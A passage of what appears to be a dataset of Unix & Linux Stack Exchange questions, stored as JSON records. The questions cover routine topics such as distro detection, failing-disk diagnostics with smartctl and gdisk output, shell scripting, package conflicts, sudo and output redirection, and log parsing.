that installs some basic needs of mine on my newly installed Linux. However depending on the Linux distro the contents and commands would be different. In Arch Linux I would use `pacman -S ...`, in Ubuntu I would use `apt-get ...`. So my question is how I can differentiate all of these different distros? Of course it would go along with differentiating the kernel as well (if possible). Thanks for your help!"} {"_id": "49763", "title": "How can I identify the variant of Unix/Linux from a shell?", "text": "> **Possible Duplicate:** > How can I get distribution name and version number in a simple shell > script? Given a shell, how can I identify the variant of Unix/Linux that is running on a remote server?"} {"_id": "129409", "title": "find action not working for specific search", "text": "I'm trying to use the `find` command to list the size of a certain set of files but am getting no output. The command I use is: find POD -type f -name *.mp3 -or -name *.ogg -ls Which produces no output. While: find POD -type f -name *.mp3 -or -name *.ogg does produce output, I've also tried the actions: -printf \"%p %k KB\\n\" -exec ls -ls '{}' \\; -print0 but all of these give no output. When I use any of these actions with a different expression e.g.: find . -maxdepth 1 -type f -printf \"%p %k KB\\n\" I also get the expected output. Does anybody have any idea what the problem is? I'm running: Linux irimi 3.10.37-1-MANJARO #1 SMP Mon Apr 14 20:56:29 UTC 2014 x86_64 GNU/Linux aka an up to date Manjaro linux distribution. The shell I use is: `/bin/bash` version `4.3.8(1)-release`. The content of my `SHELLOPTS` environment variable is: braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor my `BASHOPTS` environment variable is: cdspell:checkwinsize:cmdhist:complete_fullquote:dotglob:expand_aliases:extglob:extquote:force_fignore:histappend:hostcomplete:interactive_comments:nocaseglob:progcomp:promptvars:sourcepath Again any help on trying to debug this would be very much appreciated."} {"_id": "49476", "title": "Cannot access disk, partition table broken", "text": "I was so dumb, to turn of the power on my Readynas Ultra 4 when it was installing the disk (3TB WD Green), I had no time to wait for it as I was going to return it (It was to damn noisy) The disk installation was at 0% and stayed like that for 2minutes, so I decided to turn it off without really thinking about the consequences. Anyways, now it\u2019s done, and I need to put it into my new NAS (Synology 413j), but that\u2019s not going very good. The disk is recognized in BIOS, and I get it up as /dev/sdc when i run gparted live on USB. But it is not shown in Windows device manager or in ubuntu. When I run sudo gparted on a live ubuntu USB, I get Input/output error during read on /dev/sdc. I have tried more stuff in gparted live, but to sum it up, it is very similar to whats happening here: http://ubuntuforums.org/archive/index.php/t-1492414.html Up to the part where he runs badsectors, and get alot of errors, I ran badsectors -vs (I guess that is just read, and show output. I ran it for about 3000sectors, and for each block it counted the output was: (and so on) 1 2 3 4 5 6 7 8 9 10 11 12 13 140.00% done, 0:01 elapsed. (14/0/0 errors) 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 310.00% done, 0:02 elapsed. (31/0/0 errors) In gparted(live) the /dev/sdc disk shows, but its all unallocated, and it shows an input/output read error when it scans all disks. When I try to create a new partition, I get an error with no partition table. I go to device - create partition table, and select gpt, I get about 5-6 errors with input/output read and also write on /dev/sdc. When I enter gdisk on gparted(live) I get: Warning! Read error 5; strange behavior now likely! Warning! Read error 5; strange behavior now likely! Partition table scan: MBR: not present BSD: not present APM: not present GPT: not present Creating new GPT entries. When I run smartctl: ubuntu@ubuntu:~$ sudo smartctl --all /dev/sdc smartctl 5.41 2011-06-09 r3365 [x86_64-linux-3.2.0-29-generic] (local build) Copyright (C) 2002-11 by Bruce Allen, http://smartmontools.sourceforge.net === START OF INFORMATION SECTION === Device Model: WDC WD30EZRX-00MMMB0 Serial Number: WD-WCAWZ2205xxxxx LU WWN Device Id: 5 0014ee 25c5f8480 Firmware Version: 80.00A80 User Capacity: 3,000,592,982,016 bytes [3.00 TB] Sector Sizes: 512 bytes logical, 4096 bytes physical Device is: Not in smartctl database [for details use: -P showall] ATA Version is: 8 ATA Standard is: Exact ATA specification draft version not indicated Local Time is: Sat Sep 29 15:53:44 2012 UTC SMART support is: Available - device has SMART capability. SMART support is: Enabled === START OF READ SMART DATA SECTION === SMART overall-health self-assessment test result: PASSED General SMART Values: Offline data collection status: (0x84) Offline data collection activity was suspended by an interrupting command from host. Auto Offline Data Collection: Enabled. Self-test execution status: ( 0) The previous self-test routine completed without error or no self-test has ever been run. Total time to complete Offline data collection: (50700) seconds. Offline data collection capabilities: (0x7b) SMART execute Offline immediate. Auto Offline data collection on/off support. Suspend Offline collection upon new command. Offline surface scan supported. Self-test supported. Conveyance Self-test supported. Selective Self-test supported. SMART capabilities: (0x0003) Saves SMART data before entering power-saving mode. Supports SMART auto save timer. Error logging capability: (0x01) Error logging supported. General Purpose Logging supported. Short self-test routine recommended polling time: ( 2) minutes. Extended self-test routine recommended polling time: ( 255) minutes. Conveyance self-test routine recommended polling time: ( 5) minutes. SCT capabilities: (0x3035) SCT Status supported. SCT Feature Control supported. SCT Data Table supported. SMART Attributes Data Structure revision number: 16 Vendor Specific SMART Attributes with Thresholds: ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE 1 Raw_Read_Error_Rate 0x002f 200 200 051 Pre-fail Always - 0 3 Spin_Up_Time 0x0027 199 140 021 Pre-fail Always - 7050 4 Start_Stop_Count 0x0032 100 100 000 Old_age Always - 483 5 Reallocated_Sector_Ct 0x0033 200 200 140 Pre-fail Always - 0 7 Seek_Error_Rate 0x002e 200 200 000 Old_age Always - 0 9 Power_On_Hours 0x0032 100 100 000 Old_age Always - 572 10 Spin_Retry_Count 0x0032 100 100 000 Old_age Always - 0 11 Calibration_Retry_Count 0x0032 100 100 000 Old_age Always - 0 12 Power_Cycle_Count 0x0032 100 100 000 Old_age Always - 142 192 Power-Off_Retract_Count 0x0032 200 200 000 Old_age Always - 31 193 Load_Cycle_Count 0x0032 198 198 000 Old_age Always - 8522 194 Temperature_Celsius 0x0022 114 095 000 Old_age Always - 38 196 Reallocated_Event_Count 0x0032 200 200 000 Old_age Always - 0 197 Current_Pending_Sector 0x0032 200 200 000 Old_age Always - 1 198 Offline_Uncorrectable 0x0030 200 200 000 Old_age Offline - 0 199 UDMA_CRC_Error_Count 0x0032 200 200 000 Old_age Always - 0 200 Multi_Zone_Error_Rate 0x0008 200 200 000 Old_age Offline - 0 SMART Error Log Version: 1 No Errors Logged SMART Self-test log structure revision number 1 Num Test_Description Status Remaining LifeTime(hours) LBA_of_first_error # 1 Short offline Completed: read failure 90% 569 42084912 # 2 Short offline Completed without error 00% 388 - SMART Selective self-test log data structure revision number 1 SPAN MIN_LBA MAX_LBA CURRENT_TEST_STATUS 1 0 0 Not_testing 2 0 0 Not_testing 3 0 0 Not_testing 4 0 0 Not_testing 5 0 0 Not_testing Selective self-test flags (0x0): After scanning selected spans, do NOT read-scan remainder of disk. If Selective self-test is pending on power-up, resume after 0 minute delay. My gdisk session under here: But the most usefull I got to in the end: Warning! Main partition table overlaps the first partition by 34 blocks! You will need to delete this partition or resize it in another utility. user@debian:~$ sudo gdisk GPT fdisk (gdisk) version 0.8.5 Type device filename, or press to exit: /dev/sdc Warning! Read error 5; strange behavior now likely! Warning! Read error 5; strange behavior now likely! Partition table scan: MBR: not present BSD: not present APM: not present GPT: not present Creating new GPT entries. Command (? for help): ? b back up GPT data to a file c change a partition's name d delete a partition i show detailed information on a partition l list known partition types n add a new partition o create a new empty GUID partition table (GPT) p print the partition table q quit without saving changes r recovery and transformation options (experts only) s sort partitions t change a partition's type code v verify disk w write table to disk and exit x extra functionality (experts only) ? print this menu Command (? for help): n Partition number (1-128, default 1): 1 First sector (34-5860533134, default = 2048) or {+-}size{KMGTP}: 2048 Last sector (2048-5860533134, default = 5860533134) or {+-}size{KMGTP}: 5860533134 Current type is 'Linux filesystem' Hex code or GUID (L to show codes, Enter = 8300): l 0700 Microsoft basic data 0c01 Microsoft reserved 2700 Windows RE 4200 Windows LDM data 4201 Windows LDM metadata 7501 IBM GPFS 7f00 ChromeOS kernel 7f01 ChromeOS root 7f02 ChromeOS reserved 8200 Linux swap 8300 Linux filesystem 8301 Linux reserved 8e00 Linux LVM a500 FreeBSD disklabel a501 FreeBSD boot a502 FreeBSD swap a503 FreeBSD UFS a504 FreeBSD ZFS a505 FreeBSD Vinum/RAID a580 Midnight BSD data a581 Midnight BSD boot a582 Midnight BSD swap a583 Midnight BSD UFS a584 Midnight BSD ZFS a585 Midnight BSD Vinum a800 Apple UFS a901 NetBSD swap a902 NetBSD FFS a903 NetBSD LFS a904 NetBSD concatenated a905 NetBSD encrypted a906 NetBSD RAID ab00 Apple boot af00 Apple HFS/HFS+ af01 Apple RAID af02 Apple RAID offline af03 Apple label af04 AppleTV recovery af05 Apple Core Storage be00 Solaris boot bf00 Solaris root bf01 Solaris /usr & Mac Z bf02 Solaris swap bf03 Solaris backup bf04 Solaris /var bf05 Solaris /home bf06 Solaris alternate se bf07 Solaris Reserved 1 bf08 Solaris Reserved 2 bf09 Solaris Reserved 3 bf0a Solaris Reserved 4 bf0b Solaris Reserved 5 c001 HP-UX data c002 HP-UX service ef00 EFI System ef01 MBR partition scheme ef02 BIOS boot partition fd00 Linux RAID Hex code or GUID (L to show codes, Enter = 8300): ef01 Changed type of partition to 'MBR partition scheme' Command (? for help): ? b back up GPT data to a file c change a partition's name d delete a partition i show detailed information on a partition l list known partition types n add a new partition o create a new empty GUID partition table (GPT) p print the partition table q quit without saving changes r recovery and transformation options (experts only) s sort partitions t change a partition's type code v verify disk w write table to disk and exit x extra functionality (experts only) ? print this menu Command (? for help): w Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING PARTITIONS!! Do you want to proceed? (Y/N): Y OK; writing new GUID partition table (GPT) to /dev/sdc. Unable to save backup partition table! Perhaps the 'e' option on the experts' menu will resolve this problem. Warning! An error was reported when writing the partition table! This error MIGHT be harmless, or the disk might be damaged! Checking it is advisable. Command (? for help): o This option deletes all partitions and creates a new protective MBR. Proceed? (Y/N): Y Command (? for help): p Disk /dev/sdc: 5860533168 sectors, 2.7 TiB Logical sector size: 512 bytes Disk identifier (GUID): 3995C753-D73D-4386-8818-3A9AF06E3B2C Partition table holds up to 128 entries First usable sector is 34, last usable sector is 5860533134 Partitions will be aligned on 2048-sector boundaries Total free space is 5860533101 sectors (2.7 TiB) Number Start (sector) End (sector) Size Code Name Command (? for help): o This option deletes all partitions and creates a new protective MBR. Proceed? (Y/N): Y Command (? for help): w Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING PARTITIONS!! Do you want to proceed? (Y/N): Y OK; writing new GUID partition table (GPT) to /dev/sdc. Unable to save backup partition table! Perhaps the 'e' option on the experts' menu will resolve this problem. Warning! An error was reported when writing the partition table! This error MIGHT be harmless, or the disk might be damaged! Checking it is advisable. Command (? for help): p Disk /dev/sdc: 5860533168 sectors, 2.7 TiB Logical sector size: 512 bytes Disk identifier (GUID): F1AE4B7D-9CCE-4211-BE3D-88DFFCCD3696 Partition table holds up to 128 entries First usable sector is 34, last usable sector is 5860533134 Partitions will be aligned on 2048-sector boundaries Total free space is 5860533101 sectors (2.7 TiB) Number Start (sector) End (sector) Size Code Name Command (? for help): o This option deletes all partitions and creates a new protective MBR. Proceed? (Y/N): n Command (? for help): ? b back up GPT data to a file c change a partition's name d delete a partition i show detailed information on a partition l list known partition types n add a new partition o create a new empty GUID partition table (GPT) p print the partition table q quit without saving changes r recovery and transformation options (experts only) s sort partitions t change a partition's type code v verify disk w write table to disk and exit x extra functionality (experts only) ? print this menu Command (? for help): d No partitions Command (? for help): i No partitions Command (? for help): r Recovery/transformation command (? for help): ? b use backup GPT header (rebuilding main) c load backup partition table from disk (rebuilding main) d use main GPT header (rebuilding backup) e load main partition table from disk (rebuilding backup) f load MBR and build fresh GPT from it g convert GPT into MBR and exit h make hybrid MBR i show detailed information on a partition l load partition data from a backup file m return to main menu o print protective MBR data p print the partition table q quit without saving changes t transform BSD disklabel partition v verify disk w write table to disk and exit x extra functionality (experts only) ? print this menu Recovery/transformation command (? for help): f Warning! This will destroy the currently defined partitions! Proceed? (Y/N): Y Problem loading MBR! GPT is untouched; regenerating protective MBR! Recovery/transformation command (? for help): ? b use backup GPT header (rebuilding main) c load backup partition table from disk (rebuilding main) d use main GPT header (rebuilding backup) e load main partition table from disk (rebuilding backup) f load MBR and build fresh GPT from it g convert GPT into MBR and exit h make hybrid MBR i show detailed information on a partition l load partition data from a backup file m return to main menu o print protective MBR data p print the partition table q quit without saving changes t transform BSD disklabel partition v verify disk w write table to disk and exit x extra functionality (experts only) ? print this menu Recovery/transformation command (? for help): v No problems found. 5860533101 free sectors (2.7 TiB) available in 1 segments, the largest of which is 5860533101 (2.7 TiB) in size. Recovery/transformation command (? for help): b Recovery/transformation command (? for help): c Warning! This will probably do weird things if you've converted an MBR to GPT form and haven't yet saved the GPT! Proceed? (Y/N): Y Warning! Read error 5! Misbehavior now likely! Caution! After loading partitions, the CRC doesn't check out! Recovery/transformation command (? for help): w Warning! Main partition table overlaps the first partition by 34 blocks! You will need to delete this partition or resize it in another utility. Aborting write of new partition table. No matter what I try to do, I seem to get the input/output error, I tried installing ubuntu on it, and it seems to create the partition table, but when I start the install..input/output error. Anyone have any idea on how I can fix this? I\u2019m happy to post more logfiles or whatever, but I\u2019m not experienced with linux, I just use it for this kind of stuff. The disk is very new, just some moths, so I doubt it\u2019s any bad sectors. Thank you for all input!"} {"_id": "87353", "title": "Starting a new instance of GDM in Fedora 19", "text": "In Fedora 18, I could use `gdmflexiserver` to start up a new instance of X and GDM on a new VT. In Fedora 19, `gdmflexiserver` appears to have lost the ability to do this, and I'm looking for its replacement."} {"_id": "43539", "title": "What do the flags in /proc/cpuinfo mean?", "text": "How can I tell whether my processor has a particular feature? (64-bit instruction set, hardware-assisted virtualization, cryptographic accelerators, etc.) I know that the file `/proc/cpuinfo` contains this information, in the `flags` line, but what do all these cryptic abbreviations mean? For example, given the following extract from `/proc/cpuinfo`, do I have a 64-bit CPU? Do I have hardware virtualization? model name : Intel(R) Core(TM)2 Duo CPU E8400 @ 3.00GHz \u2026 flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good aperfmperf pni dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm sse4_1 lahf_lm tpr_shadow vnmi flexpriority"} {"_id": "16387", "title": "256 color in real console", "text": "I have in my .bashrc export TERM=xterm-256color but this cause blinking all colored text (ls --color, in vim etc.) in real console (CTRL + ALT + F1) . So is there any possibility to recognize in which console I am (real or virtual) so I can export TERM variable with valid value? [EDIT] I found alternative solution only: for vim user (in .vimrc) set t_Co=256 or for xterm in .Xdefaults (after that xrdb -load .Xdefaults) XTerm*termName: xterm-256color or for screen (.screenrc) term screen-256color"} {"_id": "98970", "title": "How to force Thunar to remember sort order for different folders?", "text": "I want all the files in my Downloads folder to be sorted by modification date, but all other folders, and files in other partitions to be sorted by name. How can I make Thunar to remember the sort order for different folders?"} {"_id": "98972", "title": "Building an Arch Linux based live CD/USB", "text": "After bootstrapping my Arch live CD, I try to install the `archiso` package with: pacman -Sy archiso but I get: error: failed to commit transaction (conflicting files) archiso: /usr/lib/initcpio/archiso_shutdown exists in filesystem archiso: /usr/lib/initcpio/hooks/archiso exists in filesystem archiso: /usr/lib/initcpio/hooks/archiso_loop_mnt exists in filesystem archiso: /usr/lib/initcpio/hooks/archiso_pxe_common exists in filesystem archiso: /usr/lib/initcpio/hooks/archiso_pxe_http exists in filesystem archiso: /usr/lib/initcpio/hooks/archiso_pxe_nbd exists in filesystem archiso: /usr/lib/initcpio/hooks/archiso_pxe_nfs exists in filesystem archiso: /usr/lib/initcpio/hooks/archiso_shutdown exists in filesystem archiso: /usr/lib/initcpio/install/archiso exists in filesystem archiso: /usr/lib/initcpio/install/archiso_kms exists in filesystem archiso: /usr/lib/initcpio/install/archiso_loop_mnt exists in filesystem archiso: /usr/lib/initcpio/install/archiso_pxe_common exists in filesystem archiso: /usr/lib/initcpio/install/archiso_pxe_http exists in filesystem archiso: /usr/lib/initcpio/install/archiso_pxe_nbd exists in filesystem archiso: /usr/lib/initcpio/install/archiso_pxe_nfs exists in filesystem archiso: /usr/lib/initcpio/install/archiso_shutdown exists in filesystem Errors occurred, no packages were upgraded. I read pacman wiki. So I tried: pacman -Qo /usr/lib/initcpio/archiso_shutdown and I get: error: No package owns /usr/lib/initcpio/archiso_shutdown As for: > If you had installed a program manually without using pacman or a frontend, > you have to remove it and all its files and reinstall properly using pacman. After bootstrapping the live CD, `pacman` is the first program run."} {"_id": "98974", "title": "External ext4 drive unmounted after some time (Raspbian)", "text": "I am using BitTorrent Sync on my Raspberry Pi (Raspbian) which syncs files on the external hard drive (ext4). I wrote a small script that spins down the drive after 5 minutes of inactivity. As soon as I read something it starts to spin again, so that seems to work fine. Here is the spindown script which is executed every 5 minutes via cronjob: # !/bin/sh # Get new state from diskstats NEWstate=$(cat /proc/diskstats | grep $1) echo $NEWstate > /home/pi/bin/spindown/NEWstate.txt # compare md5 sums md5new=$(md5sum /home/pi/bin/spindown/NEWstate.txt | sed 's/ .*//') md5old=$(md5sum /home/pi/bin/spindown/OLDstate.txt | sed 's/ .*//') # if no changes, power down if [ \"$md5new\" = \"$md5old\" ]; then sdparm --flexible --command=stop /dev/$1 &>/dev/null fi # Write current state to file echo $NEWstate > /home/pi/bin/spindown/OLDstate.txt But after a few hours the hard drive is being unmounted and BT Sync can not work properly anymore. I want to use it as a private backup server so it should run all the time. It's mounted via the `/etc/fstab` file like this: `/dev/sda5 /media/External ext4 defaults,noatime 0 0 ` Is there a way that remounts the drive automatically as soon as it gets unmounted or (even better) prevents it from doing so?"} {"_id": "68064", "title": "Logrotate maually on FreeBSD 8", "text": "I am able to rotate any log file manually via logroatate like this: logrotate -f /etc/logrotate.d/my-hourly-file I want to know how to perform the same action on FreeBSD 8? My investigation shows that `newsyslog` can be used for this purpose. If so how can I download and install `newsyslog`? Update: I think `newsyslog` has been installed and modifying the `/etc/newsyslog.conf` file will be enough for automatic installation. But how can I trigger it manually? Update2: when I search all newsyslog words starting from /, I only found /etc/rc.d/newsyslog script. Inside the script I realized that newsyslog command is defined under /usr/sbin/newsyslog. But there is not newsyslog file under /usr/sbin/newsyslog. I am stuck that how I can install newsyslog package into FreBSD 8"} {"_id": "98976", "title": "grep on line before the match plus the match", "text": "zzzzzzzzz aaaaaaaaa bbbbbbbbb & ccccccccc & ddddddddd hhhhhhhhh eeeeeeeee fffffffff & ggggggggg & in the above line, what i want is to `grep`/`sed`/`awk` (any method is fine) line that have `&` sign plus one line on top of them. so for example the desired output will look like : aaaaaaaaa bbbbbbbbb & ccccccccc & eeeeeeeee fffffffff & ggggggggg & following is what i have tried with no luck. egrep \"&\" | -b 1 file.txt"} {"_id": "68066", "title": "Use server name instead of IP address", "text": "Installed apache 2 in my Ubuntu server and I use many web application like osc, glpi. To browse these applications I have to write @ip/glpi in browser. my purpose is to use servername instead of ip address. What is the way to do this action System info: Ubuntu 11.10 PHP 5.3.6 Apache 2.2.20 MySQL 5.1.67"} {"_id": "98978", "title": "'who --message' -> which message?", "text": "I found the following in `man who`: > `-T, -w, --mesg` add user's message status as +, - or ? > `\\--message` same as -T > `\\--writable`same as -T > So looked up `info who` and found > `-w -T --mesg --message --writable` After each login name print a character > indicating the user's message status > `+` allowing 'write' messages > `-` disallowing 'write' messages > `?` 'cannot find terminal device' **Question** : What 'message', which kind of 'message' is meant?"} {"_id": "68068", "title": "Redirecting output in the shell, permissions", "text": "I have a question about permissions. Distro: Debian GNU/Linux 6.0.4 (squeeze) So I have a folder with a php script in it. Both folder and file are owned by User1 If I do this: `php script.php` I get a permission denied error. Fair enough; I'm User2, not User1. If I do `sudo php script.php` this works because my user account is setup for that. So I wrote this script to accept an optional argument to output some stuff, like a \"debug\" mode, so if I do this: `sudo php script.php debug` It outputs some stuff to CLI. So far so good. But sometimes the output from the script is too long and I can't scroll up to see the output from the beginning, so I want to be able to redirect the output to a file. **So I have tried the following:** _This gives me a permission denied error._ `sudo php script.php debug >> results.txt` _This works_ sudo touch results.txt sudo chown User1 results.txt sudo chmod 777 results.txt sudo php script.php debug >> results.txt _Alternatively, this works_ sudo su - php script.php debug >> results.txt So what I want to know is... why did the first one give me a permission denied error? I thought the point of the sudo prefix is that I run the command as root, which works for running the php script...but it seems to me that this doesn't extend to executing the redirect? Can someone explain why? _**EDIT:_** So I found something from another post on here that works: `sudo php script.php debug | sudo tee results.txt` The answer there confirms my suspicion about the redirect still being run under my user and not sudo, but it doesn't explain why...can anybody explain why?"} {"_id": "60731", "title": "Overflow /tmp mounted when there is free space on /", "text": "I recently faced an \"overflow\" issue on `/tmp`. I don't have a separate `/tmp` partition, and there is 17% free in `/` - then why did I get an overflow `tmp` filesystem? ![enter image description here](http://i.stack.imgur.com/Z9gr3.png) ![enter image description here](http://i.stack.imgur.com/PC4yr.png) # /etc/fstab: static file system information. # # Use 'blkid -o value -s UUID' to print the universally unique identifier # for a device; this may be used with UUID= as a more robust way to name # devices that works even if disks are added and removed. See fstab(5). # # proc /proc proc nodev,noexec,nosuid 0 0 /dev/mapper/safesquid-root / ext4 errors=remount-ro 0 1 # /boot was on /dev/sda1 during installation UUID=d029e04b-11e9-42e1-b1d3-9cde73cb3b67 /boot ext2 defaults 0 2 /dev/mapper/safesquid-swap_1 none swap sw 0 0 `mount` output /dev/mapper/safesquid-root on / type ext4 (rw,errors=remount-ro) proc on /proc type proc (rw,noexec,nosuid,nodev) sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) none on /sys/fs/fuse/connections type fusectl (rw) none on /sys/kernel/debug type debugfs (rw) none on /sys/kernel/security type securityfs (rw) udev on /dev type devtmpfs (rw,mode=0755) devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620) tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755) none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880) none on /run/shm type tmpfs (rw,nosuid,nodev) /dev/sda1 on /boot type ext2 (rw) overflow on /tmp type tmpfs (rw,size=1048576,mode=1777) rpc_pipefs on /run/rpc_pipefs type rpc_pipefs (rw) nfsd on /proc/fs/nfsd type nfsd (rw) root@safesquid:~# free -m total used free shared buffers cached Mem: 2009 182 1826 0 9 48 -/+ buffers/cache: 124 1885 Swap: 715 130 585 root@safesquid:~# uname -a Linux safesquid 2.6.32-41-server #94-Ubuntu SMP Fri Jul 6 18:15:07 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux I'm running Ubuntu 12.04.1 LTS. I also checked `df -i`, there are free inodes."} {"_id": "60730", "title": "How to install parted?", "text": "root@host [/]# parted -bash: parted: command not found I am using CentOS. Looks like I simply have to yum it first or something. How would I do so?"} {"_id": "116036", "title": "How to enable libass on Linux?", "text": "I tried to enable libass for ffmpeg with this `\\--enable-libass` in command but it didn't recognise the command. Does anyone know how to enable libass on Linux?"} {"_id": "94626", "title": "Set sudo password differently from login one", "text": "As a privileged user I am trying to set the `sudo` password to another then the one used at login. I have done some research but have not found an answer. Does `sudo` support that kind of configuration? _**Edit:_** The problem is that if you ever lose your password, you lose everything. Someone could log in and promote himself to `root` with the same password. `sudo` has an option to ask for `root` password instead of invoked user password, (`rootpw`), but sharing `root` password is definitely not an option, that is why we set up `sudo`. I did `config 2FA` in the past, it worked great, but also defeats the automation purpose. For example if you want to execute a privileged command across a dozen of servers with an `expect` script, adding `2FA` doesn't allow you to do that. The closest solution I have found is to only allow SSH private key and setup pass-phrase with a key which differs from the `sudo` (login) password. Still, it is not comfy, because in an emergency situation you can't login with a PC where it doesn't have that key."} {"_id": "107641", "title": "Centos 6.3 on Oracle VirtualBox 4.3.6 GUI flickering after startup", "text": "My CentOS 6.3 installation in Oracle Virtual Box 4.3.6 was working fine until this morning when the UI would not startup properly and started flickering. ![image 1](http://s30.postimg.org/9f3z18jup/Cent_OS63.png) In the UI there is a white box (3x2 size) that flickers (was not able to capture it) continuously. I am able to login to the system using ssh using IP from another machine and I see all files are intact... not sure why the UI is not materializing properly. I even changed display memory in VirtualBox settings to 128MB but to no avail. Please help me to resolve this. I dont want to re-install the Centos again (setting up system again is quite a step). The below is the VirtualBox's log: 00:01:01.045427 AIOMgr: Endpoint for file 'E:\\VirtualBox\\VDI\\CentOS63.vdi' (flags 000c0723) created successfully 00:01:01.079417 Changing the VM state from 'RESUMING' to 'RUNNING'. 00:01:02.559869 AIOMgr: Preparing flush failed with VERR_NOT_SUPPORTED, disabling async flushes 00:01:03.828410 Changing the VM state from 'RUNNING' to 'SUSPENDING'. 00:01:03.857120 PDMR3Suspend: after 28 ms, 1 loops: 1 async tasks - ahci/0 00:01:03.888235 AIOMgr: Endpoint for file 'E:\\VirtualBox\\VDI\\CentOS63.vdi' (flags 000c0781) created successfully 00:01:03.979697 PDMR3Suspend: 151 237 774 ns run time 00:01:03.979715 Changing the VM state from 'SUSPENDING' to 'SUSPENDED'. 00:01:05.724688 Changing the VM state from 'SUSPENDED' to 'RESUMING'. 00:01:05.725398 AIOMgr: Endpoint for file 'E:\\VirtualBox\\VDI\\CentOS63.vdi' (flags 000c0723) created successfully 00:01:05.760108 Changing the VM state from 'RESUMING' to 'RUNNING'. 00:01:09.391589 AIOMgr: Preparing flush failed with VERR_NOT_SUPPORTED, disabling async flushes 00:01:40.621357 Changing the VM state from 'RUNNING' to 'SUSPENDING'. 00:01:40.623377 AIOMgr: Endpoint for file 'E:\\VirtualBox\\VDI\\CentOS63.vdi' (flags 000c0781) created successfully 00:01:40.664968 PDMR3Suspend: 43 513 184 ns run time 00:01:40.664986 Changing the VM state from 'SUSPENDING' to 'SUSPENDED'. 00:01:43.567279 Changing the VM state from 'SUSPENDED' to 'RESUMING'. 00:01:43.567908 AIOMgr: Endpoint for file 'E:\\VirtualBox\\VDI\\CentOS63.vdi' (flags 000c0723) created successfully 00:01:43.601704 Changing the VM state from 'RESUMING' to 'RUNNING'. 00:01:44.142130 AIOMgr: Preparing flush failed with VERR_NOT_SUPPORTED, disabling async flushes .. more... 00:46:49.034055 AIOMgr: Endpoint for file 'E:\\VirtualBox\\VDI\\CentOS63.vdi' (flags 000c0723) created successfully 00:46:49.067998 Changing the VM state from 'RESUMING' to 'RUNNING'. 00:46:49.354161 AIOMgr: Preparing flush failed with VERR_NOT_SUPPORTED, disabling async flushes 00:48:27.339663 Guest Additions capability report: (0x4 -> 0x0) seamless: no, hostWindowMapping: no, graphics: no 00:48:27.348469 Display::handleDisplayResize(): uScreenId = 0, pvVRAM=0000000000000000 w=720 h=400 bpp=0 cbLine=0x0, flags=0x1 00:48:41.643962 OHCI: USB Reset 00:48:41.774693 Entering S5 power state (power down) 00:48:41.774768 Changing the VM state from 'RUNNING' to 'POWERING_OFF'."} {"_id": "152484", "title": "Loop in WildCard as Input of Script", "text": "I want to use my script on many files sometimes. I used this for the purpose: for etminput in $1 do #process done But this just gives the first input. How can I do the process on every wildcard matches?"} {"_id": "116032", "title": "How can I append multiple extensions to a string with sed?", "text": "I want to create a script that will let me download images from entire subreddits at once, but I'm currently stuck on just getting the links right (one problem at a time! ^^). Anyway, since I can't think of a way to determine what format the image in the link will be, I was hoping _sed_ could be used to specify multiple extensions during replacement (e.g. (jpg|png|gif)), but this does not seem to work. grep -E \"href=\\\"/r/bacon/*\" bacon.htm | sed \"s .*/r/bacon/\\(.*\\)\\\".* http://i.imgur.com/\\1.\\(\\jpg\\|\\png\\|\\gif\\) \" expected: http://i.imgur.com/foo.jpg http://i.imgur.com/foo.png http://i.imgur.com/foo.gif got: http://i.imgur.com/foo.(jpg|png|gif) Google also does not seem to have an answer to this, admittedly, weird problem or at least I am having trouble coming up with meaningful ways to describe it. Any ideas or should I try this from a different angle?"} {"_id": "94622", "title": "How to run a script by shortkey in elementaryOS?", "text": "I want to be able to run certain scripts by shortcut the way I do in ubuntu - for example some similar to this awesome script. (On that model I can search google the text selected in any text editor, or even translate it various languages, search it on different sites, etc). How to use this type of script in elementaryOS?"} {"_id": "94623", "title": "Reusing a variable", "text": "I was breaking my head for a day still not successful. I have this script: #!/bin/ksh fname=$1 for batchname in $(grep -i \"Processing batch\" $fname | cut -d \"'\" -f2) do Batch_state=`grep -c -i \"Batch '$batchname' was successful\" $fname` if [[ \"$Batch_state\" -ge 1 ]];then { S_Time=`awk '/[0-9]_[0-9].*successful/{getline;getline;getline;print}' $fname | awk '{print $2}'` E_Time=`awk '/[0-9]_[0-9].*successful/{getline;getline;getline;getline;print}' $fname | awk '{print $2}'` echo -e $batchname\"\\t\"$S_Time\"\\t\"$E_Time } else { echo $batchname encountered an error } fi done Output this code is producing: 02_1231324 14:29:04 15:29:11 14:32:19 15:33:11 79_3097935 14:29:04 15:29:11 14:32:19 15:33:11 Desired Output: 02_1231324 14:29:04 14:32:19 79_3097935 15:29:11 15:33:11 Sample Input: 2013/06/11 14:29:04 <0999> (725102) Creating batch '02_1231324.0'... 2013/06/11 14:29:04 <0999> (725102) Batch '02_1231324' was successful 2013/06/11 14:29:04 <0999> (725102) TMR:Child ZERO, 160 Docs 320 Pgs 3874 KByts Tot 0.42 WAL 0.10 WALIO 0.15 IO 0.03 secs 2013/06/11 14:29:04 <0999> (725102) Processing batch '02_1231324' 2013/06/11 14:32:19 <0999> (725102) Total in batch: 160 documents using 4 KBytes 2013/06/11 15:29:11 <0999> (725102) Creating batch '79_3097935.0'... 2013/06/11 15:29:11 <0999> (725102) Batch '79_3097935' was successful 2013/06/11 15:29:11 <0999> (725102) TMR:Child ZERO, 160 Docs 320 Pgs 3874 KByts Tot 0.42 WAL 0.10 WALIO 0.15 IO 0.03 secs 2013/06/11 15:29:11 <0999> (725102) Processing batch '79_3097935' 2013/06/11 15:33:11 <0999> (725102) Total in batch: 160 documents using 4 KBytes TMR:Child ZERO, 160 Docs 320 Pgs 3874 KByts Tot 0.42 WAL 0.10 WALIO 0.15 IO 0.03 secs 